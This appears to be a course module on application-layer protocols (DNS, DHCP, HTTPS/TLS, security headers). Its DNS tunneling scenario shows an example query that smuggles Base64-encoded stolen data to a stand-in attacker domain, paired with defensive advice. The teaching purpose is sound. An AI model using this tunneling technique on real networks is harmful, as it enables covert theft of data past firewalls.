Module 06 of 07

Layer 7: DNS, HTTP/HTTPS, TLS & DHCP

Estimated: 120 mins Prerequisite: Module 5 5 Assessment Questions

The Application Layer (Layer 7) hosts the services that modern software and web users interact with continuously. Because these protocols operate directly on business logic and identity, they are the most targeted interfaces in modern cybersecurity.

1. Domain Name System (DNS) Architecture

DNS translates human-readable hostnames (e.g. theciphernest.com) into machine-routable IP addresses (e.g. 192.0.2.1) over UDP/TCP port 53.

DNS Resolution HierarchyFlow Diagram
Client (Stub Resolver)
   │ (1. Query: "theciphernest.com")
   ▼
Recursive DNS Resolver (e.g. 1.1.1.1 / 8.8.8.8)
   │ (2. Query ".")
   ├──► Root Nameservers (13 Root IP Clusters: a.root-servers.net to m)
   │    ◄── Returns Top-Level Domain (TLD) Nameservers (".com")
   │
   │ (3. Query "theciphernest.com")
   ├──► TLD Nameservers (".com" Registry)
   │    ◄── Returns Authoritative Nameservers (e.g. ns1.cloudflare.com)
   │
   │ (4. Query "theciphernest.com")
   └──► Authoritative Nameserver (Holds the actual DNS Zone file)
        ◄── Returns A Record: 192.0.2.1 (TTL: 300)

Client receives 192.0.2.1 and caches response for TTL seconds.

Essential DNS Record Types

Record Type Description Security & Operational Context
A Maps hostname to 32-bit IPv4 address. Target of DNS hijacking and A-record redirection.
AAAA Maps hostname to 128-bit IPv6 address. IPv6 hostname resolution.
CNAME Canonical Name (alias to another domain name). Vulnerable to "Subdomain Takeover" if alias points to deleted cloud resource.
MX Mail Exchange server for domain email routing. Used by email security gateways to route inbound SMTP traffic.
TXT Arbitrary text strings. Hosts email authentication records: SPF (RFC 7208), DKIM, and DMARC (RFC 7489) to prevent phishing spoofing.
PTR Pointer record (Reverse DNS lookup, IP to domain). Used for spam verification and network security telemetry auditing.
Threat Scenario: DNS Tunneling for Exfiltration & C2

The Problem: Most corporate firewalls block direct outbound TCP connections to unknown Internet IPs, but permit outbound UDP port 53 queries to internal or external DNS servers.

The Attack: Malware on an internal machine encodes stolen sensitive data into DNS subdomain queries:

# Malware queries its own attacker-controlled authoritative nameserver:
query: "cGFzc3dvcmQxMjM=.attacker-c2-domain.com"
# Attacker's nameserver receives query, logs the subdomain, decodes Base64 data:
"password123"

Defense: Implement DNS-layer security filtering (e.g., DNS over HTTPS inspection, detecting high-entropy subdomains, domain reputation lists, and blocking unapproved external resolvers).

2. Dynamic Host Configuration Protocol (DHCP)

DHCP automates network parameter assignment (IP address, Subnet Mask, Default Gateway, DNS Servers) using a 4-step DORA handshake on UDP ports 67 (Server) and 68 (Client):

  1. Discover: Client broadcasts DHCPDISCOVER (Src IP: 0.0.0.0, Dst IP: 255.255.255.255, Dst MAC: FF:FF:FF:FF:FF:FF).
  2. Offer: DHCP server responds with DHCPOFFER proposing an available IP lease.
  3. Request: Client broadcasts DHCPREQUEST officially accepting the offered IP lease.
  4. Acknowledge: Server sends DHCPACK confirming the lease duration and configuration settings.

3. HTTP/HTTPS & Transport Layer Security (TLS 1.3)

Hypertext Transfer Protocol Secure (HTTPS) wraps standard HTTP communication inside a cryptographically secure TLS (Transport Layer Security) tunnel on TCP port 443.

TLS Cryptography

Hybrid Cryptosystem

1. Asymmetric Cryptography: Used during the initial handshake (ECDHE - Elliptic Curve Diffie-Hellman Ephemeral) to authenticate the server identity via X.509 digital certificates and negotiate a shared secret without sending keys across the wire.

2. Symmetric Cryptography: Once the shared secret is derived, all subsequent session data is encrypted using high-speed symmetric AEAD ciphers (e.g., AES-256-GCM, ChaCha20-Poly1305).

Modern Defense

HTTP Security Headers

  • Content-Security-Policy (CSP): Restricts source origins for scripts, styles, images, and frames to eliminate XSS and data injection.
  • Strict-Transport-Security (HSTS): Forces web browsers to interact only over secure HTTPS, defeating SSL-stripping attacks.
  • X-Content-Type-Options: nosniff: Prevents MIME-sniffing exploits.
  • X-Frame-Options: DENY: Defeats UI clickjacking attacks.